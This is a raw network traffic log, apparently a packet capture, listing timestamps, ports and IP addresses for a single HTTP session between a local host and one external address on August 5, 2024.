Aug 5, 2024 12:01:49.108280897 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.108345985 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.108901978 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.108949900 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.108963013 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.109004021 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.109050989 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.109066010 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.109080076 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.109103918 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.109697104 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.109739065 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.109771013 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.109786987 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.109819889 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.109899998 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.109910965 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.109930992 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.109956026 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.109987020 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.110014915 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.110714912 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.110759974 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.110764027 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.110773087 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.110800982 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.110856056 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.110883951 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.110894918 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.110904932 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.110948086 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.110948086 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.111695051 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.111737013 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.111748934 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.111788034 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.111835003 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.111855984 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.111867905 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.111881971 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.111902952 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.111933947 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.112664938 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.112718105 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.112730980 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.112735033 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.112792015 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.112819910 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.112832069 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.112843037 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.112871885 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.112903118 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.112953901 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.113712072 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.113723040 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.113739967 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.113751888 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.113776922 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.113806963 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.194597006 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.235850096 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.447835922 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.447861910 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.447874069 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.447933912 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.447954893 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.448004007 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.448039055 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.448060989 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.448101044 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.448118925 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.448163986 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.448175907 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.448188066 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.448215961 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.448246002 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.448328972 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.448565006 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.448576927 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.448661089 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.448786020 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.448798895 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.448812008 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.448823929 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.448839903 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.448844910 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.448885918 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.448936939 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.448992014 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449208975 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449220896 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449237108 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449251890 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449260950 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.449266911 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449285984 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.449309111 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.449650049 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449662924 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449676037 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449687004 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449698925 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449712992 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449726105 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449734926 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.449738979 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449754953 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449762106 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.449768066 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449784994 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449811935 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.449850082 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.449873924 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.449922085 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.450387955 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.450411081 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.450417042 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.450467110 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.450551033 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.450562954 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.450575113 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.450587034 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.450614929 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.450650930 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.450691938 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.450702906 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.450716972 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.450766087 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.450798035 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.450800896 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.450814962 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.450860977 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.451390028 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.451401949 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.451412916 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.451448917 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.451450109 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.451462030 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.451503992 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.534660101 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.579605103 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.787964106 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788003922 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788016081 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788083076 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.788104057 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788120031 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788132906 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788146973 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788147926 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.788175106 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.788336992 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788350105 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788362026 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788376093 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788383961 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.788388014 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788403034 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788412094 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.788414955 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788431883 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.788455009 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.788655996 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788674116 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788687944 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788722992 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.788786888 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788799047 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788811922 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788825035 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788860083 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.788860083 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.788893938 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788966894 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.788980007 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789016008 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.789047003 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.789118052 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789129972 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789140940 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789155960 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789172888 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.789215088 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.789278984 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789297104 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789319992 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789333105 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789345026 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789346933 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.789356947 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789369106 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789411068 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.789412022 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.789572001 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789617062 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.789633036 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789644957 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789758921 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789772034 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789805889 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.789836884 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.789860964 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789872885 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789885998 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.789918900 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.790066957 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790079117 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790091038 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790103912 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790112972 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.790117979 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790131092 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790132046 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.790177107 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.790327072 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790344000 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790355921 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790401936 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.790432930 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.790450096 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790534973 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790548086 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790584087 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.790672064 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790683985 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790697098 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790709972 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.790719032 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.790747881 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.845242023 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.874469995 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.923356056 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.084831953 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.084853888 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.084863901 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.084875107 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.084925890 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.084938049 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.084956884 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.084961891 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.084969044 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085004091 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.085087061 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085097075 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085108995 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085145950 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.085284948 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085289955 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085299969 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085309982 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.085310936 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085321903 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085330963 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085341930 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085349083 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.085377932 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.085680962 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085694075 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085704088 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085715055 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085725069 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085731030 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.085736990 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085748911 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085755110 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.085761070 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085774899 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.085783958 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.085805893 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.085997105 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086071014 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086081982 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086110115 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.086195946 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086205959 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086215973 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086226940 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086240053 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.086270094 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.086458921 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086468935 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086477995 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086488962 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086499929 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086510897 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086518049 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.086522102 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086554050 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.086577892 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.086754084 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086770058 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086782932 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086792946 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086802959 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086813927 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086823940 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.086828947 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.086853027 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.087163925 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.087173939 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.087182999 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.087194920 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.087205887 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.087214947 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.087227106 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.087228060 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.087263107 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.087332010 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.087424994 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.087435961 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.087446928 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.087465048 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.087476015 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.087480068 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.087491035 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.087502956 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.087524891 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.087546110 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.087764025 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.087774038 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.089407921 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.511074066 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511094093 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511104107 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511116028 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511130095 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511194944 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511205912 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511213064 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.511219025 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511312962 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.511312962 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.511359930 CEST	80	49906	27.221.16.179	192.168.2.7
